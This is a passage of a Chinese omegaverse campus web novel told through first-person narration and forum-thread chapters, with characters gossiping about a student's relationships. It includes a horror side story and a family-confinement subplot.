45L:想了很久,还是说一下吧。上午第一节课下课,叶就来到三一A班门口了,隔着窗户大约看了六分三十秒吧,然后跟她视线对上,她就出来了,他们两人一齐消失十分二十五秒,才再次出现,第二节课,她看起来有点恍惚没怎么听课。
下课铃一响,姜家那个就找上来了,一开始还找了个借口,问她看什么书,她用手撑着书给他看书封,然后他表情就变了(他的脑袋凑得很近,不知道是发现什么),后来,她看了眼手机就要走,姜问了句“你又要去找他吗?”(这里的“他”根据前后推断是叶x)当时教室里安静得可怕,她也不动了,看上去有点茫然,但面色还是很平静,反问他是在问她吗?
我靠,就是,能懂吗?就像一个疯子被一句简单的反问压制住了一样,姜好像瞬息之间发现硬的不可行,然后他来软的,脸上挂起了笑,要跟她一起走,她再次反问去哪里,当时我的妈呀,教室里安静得有点发死了,但是,就……能看得出来这段交谈她一直隐隐处于上峰的,感觉再过几句话,姜就要变疯狗疯狂祈求了。
后来太混乱了,我没敢细看,萧家那个不知什么时候来了,插进去,班上刑、宿也插进来了(还是第一次见这两王不见王的两A站在统一战线),对峙般剑拔弩张的气氛,只差几个呼吸就要一触即发……后来的后来,她被一个同学喊走去老师那里,教室里死寂的气氛一直维持到她回来才好转。
46L:我靠,看的有点晕字了
47L:所以有谁知道那“消失的十分二十五秒”里她和叶x发生了什么吗?
48L:姜ny突然发疯,感觉很不对劲,他在她面前不是一贯装得很好吗?
49L:她和叶关系什么时候这么好了???!!!
……
87L:反复看了45L发的话,痛苦想了很久,但想明白之后更痛苦了。按照逻辑简单推理一下,当姜找借口跟她搭话要看她的书的时候,姜肯定会故意凑近,而这时她的手又捏着书身,所以姜一下子就距离她的手很近,而omega的嗅觉都是很灵敏的,姜极有可能在她手上闻到了某种味道,令他发疯,而据他问的那句话“你又去找他吗?”,层主说这句话
里的“他”应该是叶x,那么极有可能就是叶x在她手上或身上留下了一点自己的信息素(毕竟omega对信息素更敏锐,而也只有信息素才能直接确认身份),由此那“消失的十分二十五秒”,叶x和她发生了能在身上留下信息素的事情。[冷笑]
88L:87我的妈呀
89L:[绝望脸]
……
125L:……
126L:我靠
127L:我不该点进这个帖子,现在有点活人微死了……
……
213L:都去死!!!——
作者有话说:
第67章 混乱的谜团
来到abo世界后,就像关上一扇生活的厚门,仅留下一扇生存的窄窗,我不去思考,不去探究,这样好像那些复杂奇怪,充满戏剧性的事件、场景就与我无关。
逃避、逃避,遇到困难就睡下躺平,受到打击就萎靡不振,我的一生都在躲避忽然摔打而下的暴雨,遮挡灿烂刺眼铺陈而来的烈阳。
我想起过去。
痛苦的记忆被大脑自动蒙上厚厚的膜,如同老式信号接收不良的电视机上播放的画面,声音咔滋咔滋的很难听懂一句完整的句子,大脑的自我保护让我记不清自己为何变成了现在这副样子。
快乐的记忆也在闪烁,像是从遥远的天际传来神的悲悯之音,画面璀璨而盛大,颜色漂亮的色块浮动着,不停组合,我爱的、爱我的人,面容、声音随机拼凑,形成无比陌生的怪物。
我感到些许惊惶,些许混乱,但仍是静静地站立在空旷寂寥的长廊栏杆旁,对着生机盎然的校园。
十二月的天,绝大部分学生不会想不开跑到外面活动。校园里的冷冬,栽种的不知是哪里弄来的一些稀有树种,绿油油晃动叶片的高大树木,沉静的黄红相交笔直挺立的树木,错落有致,像请过专门的园林设计师布置过一样。
入目绝不会有枯黄、萎靡的颜色,绝不会有随处可见、随时而变的平庸树种。
——我与这里格格不入,如同流光溢彩的金堆上突兀出现一粒灰色的碎石。
可是,我现在好像不得不去思考,不得不去探究,应对校园生活中出现的种种波澜了。
海洋中诡谲多变的暗流,到海面上起伏的波浪,我逃避的行为非但没有减轻涌动的暗流,反而使波浪越铺越大,直到几乎完全覆盖着舟船,我才得以醒悟。
对未知的恐惧,心里的怯弱,蒙上我的眼睛,堵住我的耳朵,自我欺骗。
现在,在背后的催促与鞭挞到临之前,我必须要主动地做出改变。
——心中的一个声音告诉我,不能再被人推着走了。
我当初入学前为了解学校信息特地找到丝珮叶官网,上面好多高大上的内容都是我这个接受了十二年公办学校教育的人难以想象的。每年虽只招收三百名学生,但令人心惊的是,议会议员、政府高官、商界大佬,许多都曾于丝珮叶就读,并在学生时期就结缘,故丝珮叶被成为“政治家的摇篮”,又被小道媒体戏称成功人士必要打下的“成熟的前奏”。
这里有完善的安保措施,我的视线移动扫过天花板的几个摄像头,黑头转动定格在同一个方向,下一秒又齐齐移开。
最近,许是社会事件频发的缘故,学校里的摄像头越来越多了,监控到的领域不放过任何一个角落。
我把屏幕不断闪烁,时而亮起的手机拿出,距离叶曦发的那条消息已经过了十分钟了。
我或许要好好跟他谈一谈,关于那晚的圣诞夜,为何omega的他却没有备一支抑制剂在身边,为何发情期时要把陌生的我放进去,为何……为何之前要跟我说离姜念屿远一点这样的话。
通过不久之前的场景看,他们关系似乎并不是我想象中的好,叶曦之前那句我以为是警告威胁的话,现在想来可能是……劝诫?
混乱的谜团要一个个弄清楚,解题的一个个步骤要明确清晰,并且富有逻辑。
叶曦发的房间在诺大校园中并不显得远,只需要乘坐电梯下楼,走过架空的楼道,穿过花园中交错的小路,到达反射着太阳光线的玻璃房。
源源不断输送的暖气冲散了身上的冷气,我踩着干净华美的软地毯,踏上楼梯,敲门,没有响应,扭动把手,画室内,空无一人。
[你去哪里了?]
突破自我的第一步,宣告夭折,叶曦没有回复,我在淡淡的失落与松了一口气的解脱中,放轻脚步回到教室。
但,既然决定了要做,总不可能连一步也不敢踏出,把不久前的决心踩在脚下吧。
我盯着半天都没有回复的聊天框眯了眯眼,手指转动着笔思忖。
要去他教室找一下吗?
“嗒。”一个动作不甚,手中的笔被甩出去,笔尖在雪白的纸上划出长长的黑线,掉在地上。
弯腰时捡笔,黑发垂落,半遮住眼睛,一只晃着红玛瑙的雪白的手出现在视野中,从昏暗的课桌椅、墙壁背景中蓦然出现,像是拨开阴沉云雾天空撒下一点光晕。
目光不自觉定在光面上,我的落下的手顿住,那只手捏着笔,向我的方向伸来,不过短短一秒,在我近乎要碰触到时又移开,抬起,笔落在桌子上,不发出一点声响。
我对上姜念屿柔软的、惹人怜爱的眼睛,道了声“谢谢”。
就在他对我弯唇,感受到那柔软拨弄似的探究目光落在我身上时,我做下了对一个社恐来说十分艰难的决定,直接去叶曦班上找他。
丝珮叶学院占地面积广,壕无人性,一层楼一个班级,电梯是标配,我选择一步一步走楼梯下去。
脑中预想着画面,心里打着腹稿,我已经来到了陌生班级旁。
徘徊着,踟蹰不前,心里打着鼓。
直到栏杆前的、坐在窗边的学生,看见我这个非本班人,投来了好奇的目光。
不能再拖了。
“同学,请问,你们班的叶曦在吗?”
我拦住一个恰巧刚从教室门口走出来的学生。
她看见我,眼睛瞪圆,眼神透出几分诧异,声音比我打着小颤的询问强不到哪里去,眼尾延伸至脸颊很快浮现起坨红的色彩。
“嗯……我、我吗?哦,我的意思是,呃,叶曦他,现在不在班里,一小时前就出去了吧。”她快速眨动着眼睛,紧张地舔舔嘴唇,迅速拿出手机翻动着,“不过,麻烦你、你等一下哦,我看一下论……”
她小心地瞥了我一眼,慌张被浮现起的笑意压下。
“他,他好像请假了,家里来接的他。”
笑意慢慢又被紧张压下,她眨巴着眼看着我补充道:“请的病假,请了好几天呢。”——
作者有话说:临近期末了……
第68章 番外6[校园怪谈3]“请相信科学”
【恭喜玩家进入城市隐藏副本《丝珮叶的秘密》】
【您的任务是存活五天】
【请您努力存活下去吧!(笑脸)】
……
“咚咚咚……”无数杂乱的脚步声践踏着昂贵景泰蓝做的楼梯。
跑,快跑!
黑暗的楼道里,唯有手中的一点幽幽暗光,虚弱的火舌摇曳着,时有时无。
“啊!”落在后方的一人,后背被凭空出现的手印剐下一层肉泥,血水淅淅沥沥撒了一地,目眦欲裂,咬牙扯下一张保命符纸往后一扔。
神仙保佑,成功拖延几秒,追上前方的步伐。
喘气声带着破空的尖利,楼道到顶了,不得不转向去走廊。
“这到底是什么东西啊,A级黄符也只能抵住它几秒!”有人崩溃地哭喊,但脚下未有丝毫停顿。
长廊宽敞,入目是无尽的黑。
手中的白蜡几乎要燃烧殆尽,火光圈出的那一小片安全区或许坚持不到一分钟。
“救命啊。”末尾一人被钳制住肩膀,血肉模糊,寒意传进他的每个毛孔。
没有一个人回头,无限世界队友情本就淡薄,更何况他们没有结队。
旁边突然闪过一点红光,电梯门开。
灯光乍亮,如昼天明。
突如其来的灯光刺得玩家在黑暗中呆了几个小时的眼睛发酸发涨,眼前变得模糊。
灯原本就是好的吗?走廊怎么变暖了?电梯居然能正常运行?紧紧跟随在身后像是漫不经心玩着追逐游戏的那东西也消失不见。
被钳制住肩膀只差一秒就要被抓走的玩家大汗淋漓,无力地靠着墙壁,跌落在地。
地上流淌的血液,墙壁偶尔闪过的划痕,耳边时现的呢喃细语……全都消失得无影无踪。
就像深夜里从逃生噩梦中惊醒过来一样,玩家们后知后觉的意识到他们短暂地安全了,逃跑的步伐才变得缓慢直到停下。
这时眼前的景象才变得清晰,所有人都在警惕地打量着从电梯中走出来的身影。
——是一个看上去无害的学生,素白的一张脸,毫无修饰,穿着干净整洁校服,踏着白鞋,连头发都规矩的束起,手上抱着一本书,肉眼看去,身体毫无训练痕迹。
她也在看他们,一个个快速扫过,眼神带着怔愣。
很快,反应过来,收回目光,转身退回电梯,立马就要合上电梯门。
“等等。”一个穿着黑色夹克的男人伸手拦住快要闭合的电梯门,“同学,我们不是坏人。”
男人嘴角挤出一个友善的笑,他脖子上几道还未结痂的伤疤。
她没说话,沉默站在角落,电梯被迫再次打开,这次新进了四个人,后面还有人要进来时电梯就发出超载警报,他们神情愤懑憋屈的退出。
穿着黑夹克的男人,白色衬衫的女人,酒红色头发的少女,手上还牵着一只狗的少年。
这群人很奇怪,不像学生,也不像教师,还有学校里可以把宠物带进来吗?女孩盯着电梯里显示楼层的屏幕,抱着书的手紧绷得有点发白。
小腿处传来毛茸茸的触感,她目光下移。
——“不好意思,同学。”凑到她腿边的小狗一下被主人提起,抱在怀里,小狗脑袋搭在主人的肩膀上好奇地看她,毛耳朵一晃一晃的,张着嘴对她笑,尾巴摇得欢快。
本不想搭理这群陌生人的女孩,看在小狗的份上,说了句“没关系”。
这下打开了话匣子,衬衫女人相貌秀丽,是世俗意义上容易引发别人好感的“好人”相貌,她弯眼笑说:“同学,我是京权新闻的记者,这几位是我的同事,我们接了上面许可文件,来校园里采访调查的,我可以问你一些事吗?”她把脖子上不知什么时候挂上去的工牌摘给女孩看。
女人煞有其事地又不知从哪里掏出一个小本子和一只笔。
“同学,你叫什么?”
女孩不是很想被采访,而且她对这几人的身份仍有怀疑,但在封闭的电梯里,她还是张口回答:“云卿。”
“你们学校最近有发生一些离奇古怪的事情吗?”
云卿沉默了一下,抬眼问:“什么……叫古怪的事情?”
酒红发少女出声解释:“比如,学生无故失踪或是死亡,校长和老师的一些奇怪行为……一切会导致学校里流传的各种流言与争议的事情。”
云卿:“没有。”
“再比如,学生私下里有没有传过学校里有恶鬼,受到校园霸凌死后报仇啊,被老师欺负成为恶鬼啊,一些学校怪谈之类的。”
云卿这次沉默五秒:“我没有听说过。”
“什么都没有?”女人的笔顿住,什么都没有的话那一进门就出现的触手怪物是什么,黑暗里能把人折磨疯的细语是什么,走进楼梯就阴魂不散的那东西是什么……如果不是学校里庞大的怨气滋养着,它们绝对不会这么强大,这个副本也不会是《城市隐藏副本》了。
云卿余光看了一下电梯屏幕,快到一楼了,她的视线隐晦扫过双手抱胸的男人、握笔质疑的女人、拧着眉的酒红发少女,抿唇抱狗的少年:“我们学校生活很平静的,没有那种事情。”
3——2——1
“同学们都很友善,老师们也很好。”
“叮。”一楼到了。
她留下一句话,率先走出去:“我们学校对学生安全监管很严,而且,请相信科学,世界上是没有鬼的。”
黑色的发尾微卷轻轻晃荡,像是铃铛中间荡漾的小球,不过几秒,白鞋完全踏出电梯范围,清瘦窈窕的背影被极快关闭的电梯门掩盖。
——瞬间,电梯轰然坍塌暗淡,猩红的手印出现在电梯墙壁上,刺骨的寒意笼盖住封闭的空间内,无端刮起一阵狂风,风里似乎藏着细密的针尖。
她走之后,温暖与光亮消亡,安全随之离去——
作者有话说:作者正在被考试鞭挞
第69章 像燃烧着火焰的利剑
不久后是体育课。
她一定会在体育课前回教室一趟,接到玻璃杯三分之二处的热水,然后准备等会带下去打发时间的书籍。
下午两点半的体育课,她至少会提前二十分钟到教室。
现在才一点,教室里人逐渐变少,学校阔气,有学生专用的休息室来消磨午休时间。
不出意外的话,一个小时后,他才能见到她……
原亦可合上手中的书,手指按压鼻梁两侧,他如今最好离开教室去休息一个小时,再以更好的状态回来,这是理智的最优解。
但是,一想到别处可能会发生的事,他就难以用理性说服自己,他现在让自己体面地坐在教室,而不是偷偷地尾随她或是在教室外在栏杆边紧张地眺望,已经是他克制的结果了。
一时的欢愉算什么,还有短短一小时,他能忍住。
原亦可的目光隐晦地再次向走廊外扫去,这次,空旷的长廊出现了一个让他翘首以盼的身影。
高马尾晃荡擦过雪白的后脖,额前带着一点黑色的碎发,脸颊处浮上浅浅的、若有若无的粉晕。
靠近教室后刻意慢下来的脚步隐瞒不了她前几分钟不同于往常的步速。
平静似深湖的面容上也能让细心的人观察到呼吸与眨眼的频率。
漂亮干净的校服在昂贵的灯泡下也能反映出细微处的不平与褶皱。
叶曦不行,连留她半小时也没能留下。这是原亦可的第一个想法。
两秒后,第二个想法划过脑海,他不动声色地把视线从她移到姜念屿身上。
姜念屿也在看她,他坦率而大胆地用注目礼迎接着她,脸上一如既往挂着只要她在就必会出现的甜笑,蜜糖似的眼珠随着身影转动,像是随时就要淌出融化的砒霜。
原亦可沉吟几秒,低头备注的【有脑子但不多A】发了个消息。
【你什么时候回学校?】
对方秒回【最迟后天。】
她坐在座位上。
一手撑着脸颊,一手转着笔,睫毛垂落,在眼睑落下一小片阴影,目光随意定在翻飞的黑笔上。
她很少转笔,她在思索。
她在想什么?是遇到什么难以解决的事情了吗?什么难题需要思考这么久?
原亦可在面对她时,总能暴露出自己极强的好奇心与求知欲。
基因的奇妙组合,赋予他一个堪称天才的大脑,无数对旁人是难解的谜题,对他来说
或许只需要一个呼吸就能看清深浅。
天才多傲慢,但于他而言,比自傲先到来的是倦怠。
这个世界好没意思,遇到她之前,他正好想到6521次。
永不间断的新风系统,总能让教室维持到对人体最适宜的温度。
她脸上的浅粉已经降下来了,前额的碎发被随意捋到耳后。
浓黑的眼睫严实遮挡,几乎看不清瞳仁,眨动时会带动眼下的阴影。
难以抑制的探索欲与好奇心,让他不仅想知道她正在想什么,也让他想未来能够亲自数一数她乌黑的睫毛。
像乌鸦的羽毛,像神秘的宝石,像苏尔特尔在诸神黄昏中高举燃烧着火焰的利剑。
她又出去了。
这很少见。
姜念屿久久盯着她离去的方向,脸上一点表情都没有,不是正常人的那种,虽然面无表情,但能透出点人味,他就像一尊每个细节仔细雕刻、竭力展现其庄严与崇高的石像,即便磨掉锋利的棱角,套上柔软的外壳,也无法改变灵魂的本质。
原亦可在她身影完全看不见后,才把自己的注意力放在发送过来很久的消息上。
果然,不出所料。
姜念屿下手太快,恐怕这是在那次圣诞晚宴后就开始谋划了,今天上午的事不过就是个导火索。
虽说叶曦离开的事情发生他喜闻乐见,但……原亦可忍不住瞥了一眼教室门口,她离开的方向。
她无功而返,心情应该不会很好吧?——
作者有话说:好久不见
第70章 论坛体【命中注定】
【如果你知道她在人群中一眼挑中了我,你也会觉得我命好】(hot)
1L
疯狂巧克力:啊啊啊啊啊啊
2L
疯狂巧克力:什么叫缘分,什么叫命中注定!!!
3L
疯狂巧克力:啊啊啊啊啊啊啊哈哈哈哈哈哈哈哈我上个月专门去衡无市全程徒步爬xx山去寺庙上香果然有用,心诚则灵心诚则灵,下个月,不,一周后我就再去一趟,这次捐它个五十上百万的(本帖已被楼主删除)
4L:呃,不就说一句话,不知道还以为她跟你求婚了[无语]
5L:其实根本零个人在意,呵呵,上周我跟她在一张桌子上吃饭,她还主动跟我递了一张纸巾了呢,我从不炫耀这种唾手可得的东西
6L:偷偷幸福就好了,谁允许你喊那么大声的!!!
7L:|
8L:等等,3L楼主删太快没看清,到哪里拜的,这对我来说很重要!
9L:回5L,你就是上周那个蠢货吗?因为太激动被汤水呛到,坐下时差点摔倒,整张脸通红,她差点以为你犯病帮你打120了,你到底知不知道!给你递纸是她善良,以为你颅内有疾,搞得周围一片狼藉,我就搞不懂了,怎么还有人把怜悯当成好感呢???
……
16L:……5L的语气加上9L的描述,怎么越看越像我在现生认识的把一张纸巾密封放在家族保险柜的一个傻叉,那天回来傻笑一路,助理以为被人下药,只差几分钟直升机就飞来被送进大洋彼岸的医院治疗了,现在某通讯软件头像都是那张雪白的纸巾……
17L
疯狂巧克力:谁能懂?!而且当时我没去休息室的原因就是在看一本杂志,那篇文章正巧看到这里——
“……人群目光聚集之处,簇拥在她身边的人缓缓让出一条道路,夺目耀眼的光在她身上自动成了柔和模样,空气中仿佛浮动着透明的头纱,鸦雀无声中,她眸光清透,浅笑怡然,我呆呆地看着她,喉咙中紧得发疼,堵着一口怎么也出不来的气,手上拿着的东西脱力掉下,在轻轻的碰撞声中,仿佛又什么东西四分五裂,如同宇宙爆炸一样,在我胸腔中回响。
黑色的发丝托举着透明的头纱,黑色的眼睛里融汇暖阳般的光泽,她是在看我吗?她是在向我走来吗?除她以外,周围一切的一切都在我视野中虚化,看见的只是那双情绪浅淡的双眸,听见的只是她的不疾不徐的脚步与轻轻的呼吸……”
福至心灵,我从杂志里抬头,下意识往窗边望去,我和她正巧对视。
18L:还以为lz消停了,没想到只是打字速度慢。
19L:我就说怎么越看越看熟悉,lz看得那篇我也看过,草我怎么就遇不到这种好事呢?
20L:只是对视而已,我一天看上百次,总有那么几次对视上,要是这也值得炫耀的话,我一周炫耀几十次[摆手]
21L:无人想听lz的小故事,@管理员,删帖好吗?看得眼睛有点发绿了……
……
43L:回19L求宠,名字叫什么!
44L:我们只是网友,你越界了[白眼][白眼]
45L:我好心,我来说回43L,叫《神女》也叫《巨星》,到两篇杂志都发过,一本民俗志怪类杂志,一本明星梦女梦男向合集,希望攒人品攒到有一天她也能向我走来,不贪不求多,一步就够了。
46L:感谢上面的好心,但后一句话就不用说了
47L:45L不会就是文章作者吧,了解这么清楚,就算不是作者,感觉平时也绝对没少看啊,噫惹~[捂嘴笑]
……
50L:47少阴阳怪气,你家住太平洋管这么宽,也别装绿茶解释哈,有眼睛有脑子的人都知道你什么语气什么意思
51L
疯狂巧克力:我起身,装作懵懂无知,去班级门口偶遇,手抖着,疯狂表情管理勉强装得镇定,一步,两步,三步……巧合的是,在我迈出最后一步时,她恰巧在我面前停脚,我和她距离不超过三分米,她身上好像带着若有若无的香气,像栀子又像玉兰,再闻,香气又变了,不知是鲜橙还是雪梨,我不敢近距离盯着她的眼睛看,怕陷进去在她跟前出丑。
于是我的视线从嘴唇绕到耳垂,淡粉色的唇上有浅浅湿润的水光,不久前应该涂过唇膏,什么味道的?我咽咽口水,圆润的小小的耳垂,深黑的发丝半遮半掩,我磨磨牙齿。我游移着目光,不断转移视线,在她面前不求留下鲜明印象,只求别出丑。
52L:lz:世界纷纷扰扰,与我无关
53L:感觉楼主已经完全沉浸在自己的艺术创作里无可自拔了。
54L:恶心,变态|
55L:楼主叽里咕噜说什么呢,先帮我炒两菜
56L:最佩服的就是lz这种厚脸皮的人,楼里的骂声是一句没听
57L:写了这么久,无用的文字光滑地从我大脑皮层划过,学过正统哲学吗?讲东西要讲重点啊,LZ描写啊抒情啊一句没落,她到底来找你干嘛的啊?她可从不会随便来找人的,我看你之前跟她完全不熟……不会楼主干了什么危机乱法的事威胁强迫她了吧?![眯眼]
……
97L
疯狂巧克力:回57,为什么不说她找我的事,因为那不是重点,不过是让我和她相遇的边角料罢了,毫无存在的价值。
然后,我是在恰到好处的时机,与恰到好处的地点被她挑中的,其余的急切的、激进的在我之前走出教室,犹豫的、反应迟钝的在我之后留在教室,错过时机的失败者们只能看着我和她相谈甚欢的样子,背后咬唇跺脚阴郁咒骂,所以,我强调,我认为重点是缘分与命运,这就是命中注定的一件事情。
98L:哇,“高冷”的楼主第一次回人贴诶,这个“边角料”不会是扎在lz心里的一根刺吧。
99L:lz看上去像被57l简单的语言整破防了
100L:所以楼主会因为“不是重点”“边角料”“毫无价值”的事情,深夜躲在被子里偷偷哭吗?
101L:啊啊啊啊楼
主既然回了57L,那也回我一下啊,到底哪座山上的哪座庙这么灵验啊,一拜就见效——
作者有话说:【】
70-80
第71章 论坛体【推波助澜】
【好热,空气里被下了什么?】(hot)
1L
诶我脑子好像掉了:不过短短一个半月,先是她意外出事,然后是圣诞节谣言,再是yx突然被接走,还有个小道消息是白要回来了。
2L:白不是听说去国外治病了吗?怎么,就把脑瘫治好了
3L:圣诞节、那个,实则并非谣言
4L:回3L,?
5L:回3L,服了,真是造谣一张嘴,辟谣跑断腿
6L:3楼是不是有病,亲眼看见了吗?
7L:3L的户口本就它一个人当然活得这么轻松,想说什么就说什么
8L:两秒六个回复,热帖果然热
……
67L:……话题偏了吧,怎么全是骂3l的(叠甲:本人不同意它的话,我也想骂),我倒挺好奇叶x在这个节骨眼上突然休学的原因
68L:同好奇,明明关系已经变得那么近了,想到就不爽了呢,要是我绝对不会放过这个机会
69L:……68L这话是什么意思
70L:什么叫“明明关系已经变得那么近了”,我怎么没看到[疑惑][白眼]
71L:68L,叶x上大号说话
72L:我看68L也是,一天天的上网找骂
73L:3L滚,68L也滚
74L:服了,怎么这么多爱给她造谣的,我寻思咱们学校也不盛产cp粉啊
……
189L:lz这个贴好像坏掉了,讨论正事的没几个,全是发泄情绪骂人的
190L:楼主在一片骂声中都不敢出头了,露头就秒哈哈哈
191L:回189,就你清高,你跟那个yx一个类型的,全世界你最出淤泥而不染行了吧
192L:如果抵制造谣还不算正事,那我问你,什么才算正事??回答我,说话!
193L:哈哈如果189指的正事是讨论为什么yx为何休学和白为何返校的话,其实根本0个人在意
……
256L(原3L):哈哈哈一觉醒来这么多回复,真是给老子气笑了,还得感谢68L兄弟帮我扛下了部分火力
257L(原3L):本来无所谓不想说的,感觉有眼睛的人都看得明明白白清清楚楚,现在想来有脑子的人还是少数,别的人好像活在梦里一样。
258L(原3L):[微笑]
【关于隔壁热贴,说了实话、却被喷了上百楼后,我决定用事实把他们带到冰冷的现实】
1L
我也不想六月下雪的:
1、关于圣诞节,那天其实是有目击证人的。
「图片链接1:聊天截图
“圣诞节收到什么礼物了这么开心?”——
——“嘿嘿。”
——“我昨天晚上不是走得很晚吗?”
——“本来以为节日后是见不到她了”
——“结果一转身,正好看她跑过来,差点跟她抱在一起。”
——“距离只有0.01cm,都能闻到她身上浓郁的花香味欸。”
“我去,你走的时候不都快凌晨了?”——
“这么幸运……”——
——[大笑]
——“这是我收到最好的圣诞礼物”」
「图片链接2:聊天截图
——“距离好近差点要亲到了呢……”
——[痴笑]
“……”——
“好奇怪,她为什么那么晚才走,明明在宴会上怎么找也没找到她呀?”——
——“我也觉得奇怪。”
——“她那时候还穿着校服呢。”
——“感觉衣服有点凌乱的样子。”
“等等……不会”——
“你之前说闻到香味,那股气味浓吗?”
——“……!”
“她身上的气味很浅淡的吧……”——
——“啊啊啊”」
「图片链接3:一张夜晚背影照(已标注时间,精准到秒)」
2、不仅有证人也有证据,那天的监控录像因不知名原因全部故障黑屏,回放全已无法找回(是谁干的,好难猜呀,不就那几个人吗?)
3、她和叶曦关系的转变不就从那日开始的吗?这么明显,尤其是yx,根本没想到演好吧,这么嚣张,活该被迫休学
2L
我也不想六月下雪的:其实根据这个,也能很快解释清楚后面一系列问题了,只是涉及太广,说了估计立即就被毙了
3L
我也不想六月下雪的:不过,就算不说,这个帖子应该也存活不了的多久的反正
4L:???
5L:有没有懂这行的来说一下,这图到底是不是批的,怎么感觉像真多
6L:服了就算这些都是真的又如何,难不成还真能证明她和yx的关系近,别搞笑了,最多就是一男宠
7L:叽里咕噜说什么呢反正我不信
……
23L:wc今天才发现自己晕字
————————本帖涉及版规第三条造谣引战,此贴删除,发帖人永久封号,其余跟帖禁言三月————————
【黑云压城城欲摧,山雨欲来风满楼,每次将有大事发生的时候,就来顶顶这个贴】(hot)「2」「3」……「23」「24」
……
1450L:卡,最近这么热闹,热闹哥怎么不看乐子了?
1451L:dd,感觉好久没看见lz出现了,从前必有乐子热闹哥必在的啊,难不成改名了?
1452L:打卡,学校真该响应号召,搞搞扫黑除恶了
1453L:最近那几人都神经兮兮的……(这是可以说的吗?包括看上去还算正常的Xsy)
1454L:1450,或许热闹哥也成为热闹里的一份子了哈哈哈哈[偷笑]
1455L:dd热闹哥魂兮归来
1456L:热闹哥魂兮归来
1457L:魂兮归来!
……
1523L:卡,讲圣诞节事的贴只存活了不到十分钟就被封了,起初我还不信,但这么一搞就看着像真的啊
1524L:正看第一张图片呢,就提示我帖子无了……谁有截图,有偿
1525L:不会那么多人发癫就为这事吧,可怎么yx走了,那些人也不消停啊
1526L:yx看着也不是自愿走的……不会有谁在背后推波助澜吧——
作者有话说:
第72章 惊!喜羊羊变沸羊羊
叶曦仍然记得那日呼啸的寒风,凛冽得像是里面掺杂着能剖开血肉的刀刃。
天穹暗沉,万里无云,举目望去他已被母亲带来的人层层包围,母亲站在不远处,静静看着他,像是一尊受人供奉信仰的神像,周遭具象升起的如香火白雾的暖气,遮挡住神像的真面。
但能看出,跟他预想到的不一样,母亲没有盛怒,没有悲哀,而是以安静到死然的面目看着这一切的发生。
叶曦张了张嘴,却又不知道该说些什么。
双手被人钳制住,在脖间刺痛传来的一刹那,最终他只是留恋地望了一眼身前只差几笔就要完成的画作,绚烂而多彩,如同无穷黑夜天空蓦然炸响的烟花。
从医院手术台上辗转到家族禁闭室里,他的世界总逃离不了孤寂恐怖的黑暗灰白。
吃药、打针、痛苦、晕厥,母亲说,这是病。
她缓缓俯下身子,一举一动无愧于她在影视行业驰骋多年的顶尖地位,想必即使暗处藏着针孔摄像头,也能凭此出几张流传千古被吹得天花乱坠的“神图”。
叶曦能闻见母亲身上浓郁的蔷薇香,掺杂在其中浅浅的脂粉气和一种若有若无几不可闻的与她身上格格不入的味道。
是区别于昂贵的金银珠宝堆砌而成的贵气,区别于使用了大量人工科技而显得呆板精于技巧的东西,这让人想到自然,想到自然中缤纷的色彩,也让叶曦想到她。
不合时宜的想象让叶曦的心脏像是被手攥紧了一样酸胀,他这时才微微地抬起头,做出了他多日的第一个动作。
母亲笑了,她的脸是热的,样貌浓艳而不流于俗,她看到叶曦,就像看到了那个一直被埋在心底如同一具尸体一般的前任爱人,那个平庸的,带给她无数欢乐,更带给她无数痛苦的beta。
“你怎么就不明白呢?”她叹息,轻抚着他的脸颊,“我是为你好啊。”
叶曦感到自己的身体出现颤栗,甚至难以自如的呼吸,他盯着母亲似怀恋似追忆的浅灰色眼睛——这是他与母亲唯一相像的地方。
“你去找过她。”注射过强效抑制剂的身体难以承受这么激烈的情绪,两个医护人员被示意给他注射了一针镇静剂。
血管被刺破的痛苦很快过去,但焦虑仍急切地催促着他开口:“母亲,都是我的错,跟她没关系……”
女人浅灰色的眸子轻微的眯起,又如同顿悟一般睁大,像是陷入某种回忆,或是某种困境。
慢慢的,竟露出一个堪称温柔的笑容,她爱怜的看着自己儿子,自己的后代。
“小曦,我以前也曾像你一样,为了一个beta,不体面的哀求过你的外祖母,她也曾告诫过我,omega和beta在一起,beta可以轻易抽身离去,但omega却一定会在这段感情中堕入深渊。”
“那时候,我没听她的话,倔强地追寻自由的爱情,后来,我尝到足以推翻人生的苦果。”
“这样的痛苦,我不想再让我的孩子再尝试一遍了。”
叶曦很少感到后悔,但在无穷无尽的灰白世界里,他无数次回忆过去,无数次后悔过去的举动。
后悔自己太过张扬,被一时快乐冲昏头脑,忘却掩饰,没有处理好家庭关系,后悔自己迟钝软弱,没有抢先一步对姜念屿下手,反而让那个疯子抓住把柄……最后悔的还是自己被激素控制,占有欲冲上心头,原本徐徐图之的步骤一下变得混乱难料。
他逐渐厌烦自己的omega身份,没有腺体该多好,不用生来就跟某个群体绑定在一起,没有信息素该多好,就不会发情期上头,做出一个又一个像是丧失大脑的决定。
Alpha和omega都是动物性大于人性的物种。
他们的理智总是被私欲所压,他们总是享受当下而不去思考未来。
叶曦从前把自己与那些柔弱的omega区分开来,对他们总带着居高临下的睨视,但最终,发情期时,他还是披上了自己从前最瞧不起的假面,装作柔弱,装作无辜,装作楚楚可怜、无能为力的omega,又以哄骗、诱导来达成自己见不得人的目的。
真是可笑,自己和他们并没什么区别,他也在激素的冲击下像变了一个人,变成一个只知满足欲。望的动物。
叶曦看着自己带着针孔、伤痕累累的手,这双手曾被她轻轻的握住,感受过温热的肌肤。
他想挖掉自己的腺体,为过往赎罪。
——
白洛翊在叶曦离开第二日上午回校。
消失几个月后,从前白皙透亮的皮肤宛如浸润了热辣的阳光变成了浅蜜色,漂亮的眉眼犹因眼中迸发的锐意成就了野性的俊美,周身的气度也变得不凡,或许从前见到他照片的人,会因其容貌会在性别中犹豫,但现在见到他的人完全能笃定他是一名货真价实的alpha。
他一进来就跟我打招呼。
“好久不见,还记得我吗?”柔和的黑发下是一双紧张又期待的笑眼。
我礼貌地回应他,白洛翊变化太大了,像是降智版的喜洋洋变成了帅气版的沸羊羊。
手臂的肌肉线条很明显呢,他是在这几个月里去“夏威夷”特训过了吗?——
作者有话说:收回五万字内完结的话
多少字完结我也不确定
第73章 “我不记得了”
寒冷冬日,有人躲在树荫之下,手腕上的机械表转动不停,他的眸光时而定在表盘,时而飘向不远处,仿佛期待着什么。
表针转到某个时刻,像是被制造者设计好了的,发出轻微的,动听而悦耳的声响,如同翠鸟轻啼般自然。
——于是那人的目光也自然而精确的转到某个他望了许久的地方,如同精密的齿轮自然而然地运转,转动到它本来的位置一样,是海盗扑向宝藏一样理所当然的目光。
